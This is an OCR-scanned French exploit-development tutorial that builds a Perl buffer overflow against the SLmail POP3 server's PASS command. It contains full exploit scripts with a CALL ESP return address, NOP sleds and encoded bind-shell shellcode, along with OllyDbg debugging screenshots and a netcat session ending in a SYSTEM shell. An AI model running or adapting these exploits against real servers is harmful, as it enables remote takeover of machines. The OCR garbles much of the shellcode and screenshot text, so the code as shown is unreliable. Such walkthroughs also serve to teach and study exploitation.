Fichier  Edition  Affichage Aller & Marque-pages Cutils 7
QZI - E> - @ |\~'_> @ I# htkp: f fwves metasploit, comftoolsfmsfpayioad, coitPAYLOAD=win3Z_bind j @ Ok I@,Jemme ATHIAS

| | Firefox Help | | Firefox Support | | Plug-in FAQ

Priozey: Im -/ Utiliser ,_4" TMadifier _u_sf Supprimer u Ajouter [Statut: Aucun proxy utilis&#ZSS;.] % OptiansT
k€| options~ YouU're on www.metasploit.com

Mame: Windows Bind Shell =

Version: $Revision: 1.22 §

Authors: H D Moore <hdm [at] metasploit.com=

Architecture: x86
Privileged: Mo
Multistage: MNo

Supported OS: win32
Total Size: 375

Pavyload
Options:
. Exit technique: "process",
EXITFUNC Optional DATA [thread thread". "seh'
LPORT Reguired PORT [111 Listening port for bind shell

Encode Pavload: #

Bad Characters: [mx00

Generate Shellcade | o

[

ﬁ PR Jerome ATHIAS @ QCourrence suivante @ Occurrence précédente | =] Surlioner [ Respecter lacasse 44 Phrase non brouvée

| Terminé | Prozy: Aucun v
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#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable=""\x41"x4654;

$ChaineDuDiable.="\x93\x43\x92\x7C"; #7C924393 FFD4 CALL ESP

#notre shellcode
# win32_bind - Encoded Shellcode [\x00] [ EXITFUNC=thread LPORT=111 Size=399]
http://metasploit.com

$ChaineDuDiable.=
"\xd9\xee\xd9\x74\x24\xFA\x5b\x31\xcO\xb1\x5e\x81\x73\x17\x7F\xd5" .
"\Xd9\x29\x83\xeb\xFc\xe2\xF4\x83\x3d\x8F\x29\x7F\xd5\x8a\x7c\x29"" .
"\ x82\x52\x45\x5b\xcd\x52\x6c\x43\x5e\x8d\x2c\x07\xd4\x33\xa2\x35" .
"\Xcd\x52\x73\x5F\xd4\x32\xca\x4d\x9c\x52\x1d\xF4\xd4\x37\x18\x80" .
"\x29\xe8\xe9\xd3\xed\x39\x5d\x78\x14\x16\x24\x7e\x12\x32\xdb\x44"" .
"\Xa9\xFd\x3d\x0a\x34\x52\x73\x5b\xd4\x32\ x4 F\xFA4\xd9\x92\xa2\x25"" .
"\xcO\xd8\xc2\xF4\xd1\x52\x28\x97\x3e\xdb\x18\xbF\x8a\x87\x74\x24"" .
"\X17\xd1\x29\x21\xbTF\xe9\x70\x1b\x5e\xcO\xa2\x24\xd9\x52\x72\x63"" .
"\x5e\xc2\xa2\x24\xdd\x8a\x41\xF1\x9b\xd7\xc5\x80\x03\x50\xee\xfe"" .
"\X39\xd9\x28\x7F\xd5\x8e\x7F\x2c\x5c\x3c\xc1\x58\xd5\xd9\x29\xef"" .
"\xd4\xd9\x29\xc9\xcc\xcl\xce\xdb\xcc\xa9\xcO\x9a\x9c\x5F\x60\xdb"" .
"\xcT\xa9\xee\xdb\x78\xF7\xcO0\xa6\xdc\x2c\x84\xb4\x38\x25\x12\x28"" .
"\x86\xeb\x76\x4c\xe7\xd9\x72\xF2\x9e\xFI\x78\x80\x02\x50\xF6\xFf6"" .
"\X16\x54\x5c\x6b\xbFf\xde\x70\x2e\x86\x26\x1d\xFO\x2a\x8c\x2d\x26"" .
"\x5c\xdd\xa7\x9d\x27\xF2\x0e\x2b\x2a\xee\xd6\x2a\xe5\xe8\xe9\x2f"" .
"\ X85\ x89\x79\x3TF\x85\ x99\ x79\x80\x80\xF5\xa0\xb8\xe4\x02\x7a\x2c"" .
"\xbd\xdb\x29\x7F\xba\x50\xc9\x15\xc5\x89\x7e\x80\x80\xFd\x7a\x28"" .
"\ x2a\x8c\x01\x2c\x81\x8e\xd6\x2a\xT5\x50\xee\x17\x96\x94\x6d\x7f"" .
"\x5c\x3a\xae\x85\xe4\x19\xad\x03\xF1\x75\x43\x6a\x8c\x2a\x82\x¥f8"" .
"\X2F\Xx5a\xc5\x2b\x13\x9d\x0d\x6 F\x91\xbTF\xee\x3b\xF1\xe5\x28\x7e"" .
"\x5c\xa5\x0d\x37\x5c\xa5\x0d\x33\x5c\xa5\x0d\x2F\x58\x9d\x0d\x6F"" .
"\X81\x89\x78\x2e\x84\x98\x78\x36\x84\x88\x7a\x2e\x2a\xac\x29\x17"" .
"\ xa7\x27\x9a\x69\x2a\x8c\x2d\x80\x05\x50\xcF\x80\xa0\xd9\x41\xd2"" .
"\x0c\xdc\xe7\x80\x80\xdd\xa0\xbc\xbF\x26\xd6\x49\x2a\x0a\xd6\x0a"" .
"\xd5\xb1\xc6\xb1\x35\xb9\xd6\x2a\xd1\xe8\xF2\x2c\x2a\x09\x29"" ;

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );
$pop2->User(*'haXor™);
$pop2->Pass($ChaineDuDiable);
$pop2->Connect() >= 0 || die $pop2->Message();
$pop2->Close();

(SLmailKillerXploit.pm)

Cela devrait lancer un shell sur le port 111.
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OllyDbg - SLmail.exe - [CPU - thread 00000C60, module ntdil] Bl

@File Wiew Debug Plugins Options

On lance notre script...

‘Window  Help

=101 x|
=181 %

Blx| wn| wifs 1 M| 3 L[E[M[T|WH|C[/[K[B[R|..|5]

=

2]

TCO11088] o8 HOP
PEA11E61| 96 HOF & |Eeaterers IERAD B e e
rLolians) i an Hos __MECk ©1SESEF@ ASCII ™B5-@1-B4 14:d49:84 FE-9081: Illegal command @0RAARRRAARAAAAAAA
EOX 7rCEiEPS mewort.rroalEPS
TCaiipad| Sa HOF EEW HHBAIERG
TCa11965| £4:5EA0 18G@G@G0 MOU ECH,DNORD PTR FS:C151 ESF [H1SER 15
TCO11RAC| SES424 B4 MOU E0X, DWORD PTR S5: [ESF+41 EBF 41414141
TCaiimial 237A 14 @@ CHP OWORD PTR DS:[ED%+141,@ FAR
TCA11014[~75 4F JNZ SHORT ntdll,FCo11mes EDT BEmERaa1
TCo11B16| Fa:FF4z a4 LOCK IMC DWORD FTR DS:[EDR+4]
ZEatinie| Eaal 2a DL EH DUDED FTR Dot LECH+24] ol son s i
H +, H
TC311B1F| 2342 mC MOU OWORD PTR DSz [EDX+C1, ERAX LRl SiEs el AU ERERERE R
7EStipaz| C7dz b8 @ipoann MO nwnnn PTR D%:[EDN+E]1,1 A B 5% BR23 S9bit BIFFEFFFEF)
;Egiig%g 3333432 RETH 4 ER= Z @ D5 6823 32bit B(FFFFFFFF)
S 1 FS @838 3°bit FFFAEGAE(FFF)
TC3119ZE| Z0R424 Pep@e@ea| LEA ESF,OWNORD FTR SS:[ESPI TG G eeos ML
7Eolinss| Sa4z oc CHP GUDRD PTR DSCLEDRAC], R D@
= . O o
FEB11RZE| w75 B8 JNZ SHORT ntdll, 7Coi1045 it b e b or ERRORESUELESS HpattERua)
7Ca11m20| FFaz mg IMC DWORD PTR O%5:[EDH+3] EFL @A@1@286 (MO, HE,HE.A,S.FE,L,LE]
ZEaligasl 25 R Y Ty ST2 emory +UNORM BOOS 00000000 0044B3E4
Address [Hen dump ASCII T4DSEEDS -
BG4 S0000 | 00 G0 00 00| G0 00 G0 G0 eeese.. Hahasd
OP430PA2(PA 0P BE GA| e BB BE GA| ... ... cooEblLy
0P450010( 94 08 GO BA[EF 72 20 7S|4...or u ST R [
0R430815( 72 € 20 74{62 £E 20 73|se the = SoraLarn
OP430P28[ 65 72 76 £3[62 £S5 28 £0|erwice m SEE
0P430028( 61 6E &1 &7|65 72 20 £3|anager i SEoEnEE
0P4300Z0[ 6E 25 74 £5[65 28 &2 &F|n the oo cRieeane
mtpR e (s o mie o Bl e
ne to =
AR4ENA4E 74 £ i £5 Al tart the Q19EALTC| Wr=CE0sE 2

|.-’-‘n.ccess violation when reading [EECE3526] - uze Shift+F7/FE/F3 to pazs exception to program

® ¢a marche pas... étrange...
Voyons ce qui se passe de plus pres... On utilise Olly et on pose un point d’arrét (breakpoint ;) sur I’adresse
de notre jmp esp

7C924393

| Fauzed

On va dans notre module (on appuie sur le bouton E) et on fait un « search for command call esp »
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OllyDbg - SLmail.exe

Opkions

@4 x| w0] s+ 4| A » LIE|M|T|WH[C|/|K|B|R|..|S]

- main thread, module ntdll _

rCo24393

rC924395
TCo242396
rCo24397
rC924399
rC924290
TCoz2423B
rCo24390
rC92439E
rC92429F
rCo243A8
rCo243A1
rC9243H3
rCo24zHe
rCo243A0
rC9243681
rCe24382
TC9242BE
rCo243C1
rCoz243C4
rCe243C6
TCo242C3
rCo243CC
rC9243CE
roo24204
TCoz24209
rCo24300
rCe243E8
rL9242ES
rCo243ES
rCo243ED
rC9243F3
rCo242Fe
rCo243F3
rCo243FF

g5 59449270
ES 1SAAFFFF
Ce45 EF @o
Cr45 EE QOOE1EEC
64:913%8@88@8@

EF ¥
~HFE5 SCCFOEEE
ES2 44CEFFFF
Ced4s EF 81
SB43 18
48
oc

S4C1927C
%EBEBBEE

43
liﬁBEBBEE

=10l x|

CHLL ESP
ey

HCHE ER,ESP

JL SHORT ntdll.7Co24576
]

HCHE EAM, ESP

ﬁh SHORT ntdll.7Co24320

FUSH 34

FUSH ntdll.7Co924438

CALL ntdll.7C21EDCE

HMOoL BYTE PTR S5:[CEBP-191,8

MOL OWORD PTR SS5: [EBP-201, CEEEE1AE

MO ERAX, DWORD PTR FS:L181]

MOL EB, OWORD PTR D5: [ERR+2E]
MO OWOROD PTR S5:[EEBF-ZC1,EBEX
wOR EDI,EDI

MO OWORD PTE S5:[EEBP-41,EDI
Mo ESI, OWORD PTR S5: [EEP+2]
CHMF ESI,EDI

JHE ntdll.7C9313328

CALL ntdll.R% LAzqu irePeblock
Mo BYTE FTR S5:[EEP-121,1
MOL ERX, OWORD PTE DS: [EBX+1A]
MO ESI,DWORD PTR D5: CEAR+4E1
MO OWORD PTR S5:[EEFP-241,E51

@ CHF BYTE FTR DS:[FCOEC154]1, 6

JE ntdll.7Co2456F

MOY ERE, DWORD PTR DS: CEBEX+18]
CHF ESI,DWORD PTR DZ: [ERx+42]
JHZ ntdl L. FCo24568F

FUSH 1

F
Unknown commal it

Unknown commal

=l

l
t.Windows. Common

L

L

L
- dll

L

Ensuite, on appuie sur la touche F2 pour mettre en place notre point d’arrét (toujours breakpoint ;).
Vous pouvez remarquer que la couleur de la ligne devient rouge.

OllyDhg - SLmail.exe

File YWiew

Debug  Plugins

Cptions  WWindow  Help

Bl x| »[n| wiv ¥1 W] » L|E[M[T|wH|[c|/|K|B|R|..|S| [ ?]

PU - main thread, module ntdll

rC924395
rCo24396
rCa24397
rC324399
rC924390
rCozd4 398
rCa24320
rC92439E
rC92439F
rCa242R8
rCa242R1
rC9243A2
rC9243R2
rCa242A0
rC92432E1
rC9243E8
rC9243BE
ra242C1
rC9242C04
rC9243CE
rCoz243c9
rCa243Cc
rC9243CE
rC924304
rCa24302
rCo24200
rC9243ER
rCo243ES
rC9243Ee
rCo243ED
rC9243F 2
rC9243F6
rCo243F3
rC9243FF

65 82449270
EZ2 1SHAFFFF
Ceds EV B
Cr4S E8 Boalon
E4:A1 1 2AEEEEE
SBES 38

D4

FC
B

SCCFraaaa

S4C19570
%EBEBBEB

43
IIEEEEEEE

CHLL ESF

o EAX, ESP
JL SHORT ntdll.7C924376
arar

MCHE ERX, ESP

JL SHORT ntdll.7Co24320
HOP

MOP

MOP

HOP

PUSH 24

PUSH ntdll.7C924488

CALL ntdll.7C31EDCE

BYTE PTR 55:[EBP-191,8

C DWORD FTR S5: LEEP- EB] CoOEa ] a8

ERw, OWORD PTR FS:[121
EBH.DNDRD PTR DOS: CEAX+3R]

EDI,EDI

OWORD PTR SS5: [EBP-41,E0I
ESI,DWORD PTR S5:[EEBRP+21]
ESIL,EDI

JHZ ntdll.FC9212268

CALL ntdll.Rt lAcquirePeblock
MO BYTE PTR S55: [EEF-191,1
MOY ERY, DWORD PTR DS:[EEX+18]
MOL ESI,DWORD PTR DS:[ERX+42]
MO DWORD PTR S5:[EEP-241,ESI
CHF BYTE PTR DS:[FC92C154],8
JE ntdll. FCP24568F

MO ERX, DWORD PTR DS: [EBX+1@]
CHP ESI,DWORD PTR DS:[ERX+42]
JHE ntdl L. FC92468F

FUSH 1

=

(o x| [

OWORD PTR S5: [EEF-2C1, EEX

F
Unknown comma il

Unknown comma

|

L
t.Windows. Common

14



Ensuite on va lancer notre exploit qui ne fonctionne pas... Mais avant ¢a, on va rajouter quelques nops pour
que les choses soient claires

Fichier Edition Affichage Insertion Format *

D2E| S @ 3R« &

#'uzr/bhin/perl -w

use strict:

use Mail::POP3Client:

mwy $Chainelulisble="%x41"x4654;

fChainebulbiahle. _"NXSSEXQSEXSZEXTC"' HTC924393 FFD4 CALL ES3F

&

fChainebuliable.

(SLmailKillerXploit2.pm)

On lance donc ceci...
L’exploit va s’arréter sur notre point d’arrét. Aprés ¢a, on peut faire du pas a pas avec la touche F7...

OllyDbg - SLmail.exe - [CPU - thread D00D00E&SE] - |EI|5|
@ File Miew Debug Plugins Options Window Help _|5’|5|
B4 x| w[l] wi|si L] W] i MHJJJEQJHHJﬂJ 2]

ET TOF
BIHEAISE| o6 HOP EEE‘;ESE;BEEPU] =
ipERLZE) 28 HoF ECH BIAESEFA ASCIT MBS @1-G9 18:@7:47 P3-8881: Illegal comms
EO¥ 7FFCELETS mewcrt. roalETS
G1AEALEE| 98 HOP 2o e
B1AEALES| 9@ HOP S LA
G1AEQLEA| 98 HOF Eeil T e
BiRERIEL| 98 Hop ESI BannGaos
B1REAIED| 56 HOP ST GIEETTELEN
B1AEAIEE| 9@ HOF - EIF B1AEALS4
e e i C B ES @23 S2bit BIFFFFFFFF)
e i F 1 CS @@iE 3zbit B(FFFFFFFF)
ipERlel) 2@ HoF A1 55 @B23 32bit BIFFFFFFFF)
A e ok £ @ DS @@z3 3zbit @(FFFFFFFF)
S 1 FS 6838 27bit TFFADGGALFFF)
B1AEA1G4| D9EE FLOZ S5 B IS S
GIHERice) Da74z4 F4 FSTENY (26-BYTE |1
e (. EoR B2 pow 0 @ LastErr ERROF_SUCCESS [B@B@REEEE)
@1AEALED| Bl GE MaL cL, 5E EFL @E@@EZ35 (MO, ME,ME,A, S, PE,L, LE]
BiRERLER) Bi7e L7 PFOSDIZ) HOR DEDRD PTRL |5T8 enpty +UMORM B80S BO146E20 BE44ESE4
CEEE (NS =SEag S i o1 | 3T1 emptu -UNORM ACAS GEGOEGEE GOOHEGE0
R P oo-Fos ol e DwanoRT B1E  |5T2 empty -UNORM D4ES GEGAGEGA 01SED4ER
EEE (- o CHP DUORD PIR L |572 empru +0NORM GOER GOROGGH6 GEGAGHGE
[ r— oL SHORT BLAEA! 1274 empru +UNORM 4120 30783436 2200256
e e S ®  |5TS empty +0MORM S56E SESFE22G IECE4FEH
R (D) I B bR g | STE empry +ONORM 6572 £dé46izn EDEFT2EE
£ |57 empty +0MORM BB64 PSPEC42S PEE4252E
Gien & I8 &
FST G@0G Cond OO @@ Err @B GG GO G@ @ (GT)
G1AEALS0| S02CET LEA EEF,OWORD F
EHE e e LEH FCW G27F Prec MEAR,53 Mazk 111111
G1AER19Z| A2 FECOE27E HOU BYTE FTR DS
B1AEALS7| GF POF EDI
B1AEA1SZ| D4 22 AaM I2
G1AEAL2A| ©A 409C RETF 9C4D -
GigFaianl sz FUSH ELv
Address |Hex dump ASCII FC924595( RETURH to ntdl L. YC324395 s
DE4Z0080| 00 G5 08 00 00 B8 08 G0 ........ "] GIACHI S| S0o05000
PR43000Z| 60 B0 0O 60| 60 BE GO GO ipEnise) ZEsooacm -
I I O O 1 O Y = s el
| | |Paused

Si on continu on obtiendra une erreur du genre « illegal use of register » ®

On va laisser tomber pour ce shellcode et utiliser un autre ; celui de xfocus ; un petit shellcode encodé qui se
lie au port 1981...
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#lusr/bin/perl -w

use strict;

use Mail::POP3Client;

my $ChaineDuDiable="\x41""x4654;

$ChaineDuDiable.="\x93\x43\x92\x7C"; #7C924393 FFD4 CALL ESP

$ChaineDuDiable.="\x90""x16; #quelques nops blah blah

#notre shellcode
#sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4ds
#XOR with 0x96 (267 0x10B bytes)

$ChaineDuDiable

="\ XEB\XOF\Xx5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"" .
"\XO5\XE8\XEC\XFF\XFF\XFF"" .
"\X7E\XB2\x96\Xx96\x96\x22\XEB\X83\X0OE\X5D\XD4A\XE1\X2E\x4A\Xx4B\x8C"" .
"\XA5\X7F\Xx2D\x55\x38\ x50\ XBD\x2B\XB8\x48\XC1\XE4\Xx32\xB2\x24\xA4"" .
"\ X96\X98\XCB\X5D\x48\XE2\XB4\XF5\X5E\XCIO\XFC\XA6\XCD\XxF2\x1D\x95" .
"\X1D\XD6\X9A\X1D\XEB\X8A\X3B\X1D\XFE\X9E\XFC\X92\XCF\X7E\X12\Xx96"" .
"\X96\x96\x74\X6F\x23\x95\XBD\ X7 7\XFE\XA5\XA4\X96\x96\XFE\XE1\XE5"" .
"\XA4\XCIONXC2\X69\XCI\NX6ENXO3\XFC\X93\XCF\X7E\XF1\X96\Xx96\x96\Xx74"" .
"\X6F\X1D\X61\XC7\XFE\X94\Xx96\x91\Xx2B\X1D\X7A\XC7\XC7\XC7\XC7\XFC" .
"\X97\XFC\Xx94\x69\XCO\X66\X05\XFC\x86\XC3\XC5\Xx69\XCO\Xx62\XxC6\XC5"" .
"\X69\XCO\X6E\X1D\X6A\NXFC\X98\XCF\X3D\Xx74\x6B\XC6\XC6\XC5\x69\xC0O"" .
"\XB6A\X3D\X3D\X3D\XFO\X51\XD2\XxB2\XBA\X97\x97\x1D\x42\xXFE\XF5\xFB"" .
"\XF2\X96\X1D\X5A\XC5\XC6\XCI\XCA\XA5\X4D\XC5\XC5\XC5\XFC\x97\xC5"" .
"\XC5\XC7\XC5\X69\XCO\X76\XFC\X69\X69\XAL\X69\XCO\X4A\NX69\XCO\X7A" .
"\X69\XCO\X7A\NX69\XCO\X7E\XC7\X1D\XE3\XAA\X1D\XE2\XB8\XEE\X95\Xx63"" .
"\XCO\X1D\XEO\XB6\X95\X63\XA5\X5F\XDF\XD7\Xx3B\X95\x53\XA5\x4D\XA5"" .
"\ X44\ x99\ x28\ X86\XAC\X40\XE2\X9E\X57\x5D\Xx8D\x95\x4C\xD6\Xx7D\x79"" .
"\NXAD\X89I\XE3\X73\XC8\x1D\XC8\XxB2\x95\x4B\XFO\Xx1D\x9A\XDD\x1D\xC8" .
"\X8A\X95\x4B\x1D\x92\x1D\Xx95\x53\x3D\XCF\x55"".

"\x45\x59\x34\x53"";

my $pop2=new Mail::POP3Client( HOST => "127.0.0.1" );
$pop2->User(*'haXor™);
$pop2->Pass($ChaineDuDiable);
$pop2->Connect() >= 0 || die $pop2->Message();
$pop2->Close();

(SLmailKillerXploit3.pm)

C:~Perlszite~lib~MailXperl SLmailKillerdploitd.pm

¢ Invite de commandes - nc -¥¥ 127.0.0.1 1981

Microzoft Windows HEP [version 5.1.26001
CC» Copyright 1985-2001 Microsoft Corp.

C:“Documents and Settingz“Administrateurinc —ve 127_60.68.1 1981
DHS fud- rev mismatch: localhost *= tipi

localhost [127.8.8.11 1981 <?> open

Microsoft Windows EP [version 5.1 _.26H081

CC» Copyright 1985-2001 Microsoft Corp.

C:“Program Files“SLmail“Sustem>whoami
whoami
AUTORITE NT~SYSTEM

C:=“Program Files“SLmail“Sustem>BINGO?*? _

Gagné !

(whoami fait parti des support tools Microsoft
http://www.microsoft.com/downloads/details.aspx?displaylang=fr&FamilylD=49ae8576-9bb9-4126-9761-
ba8011fabf38 ;-)
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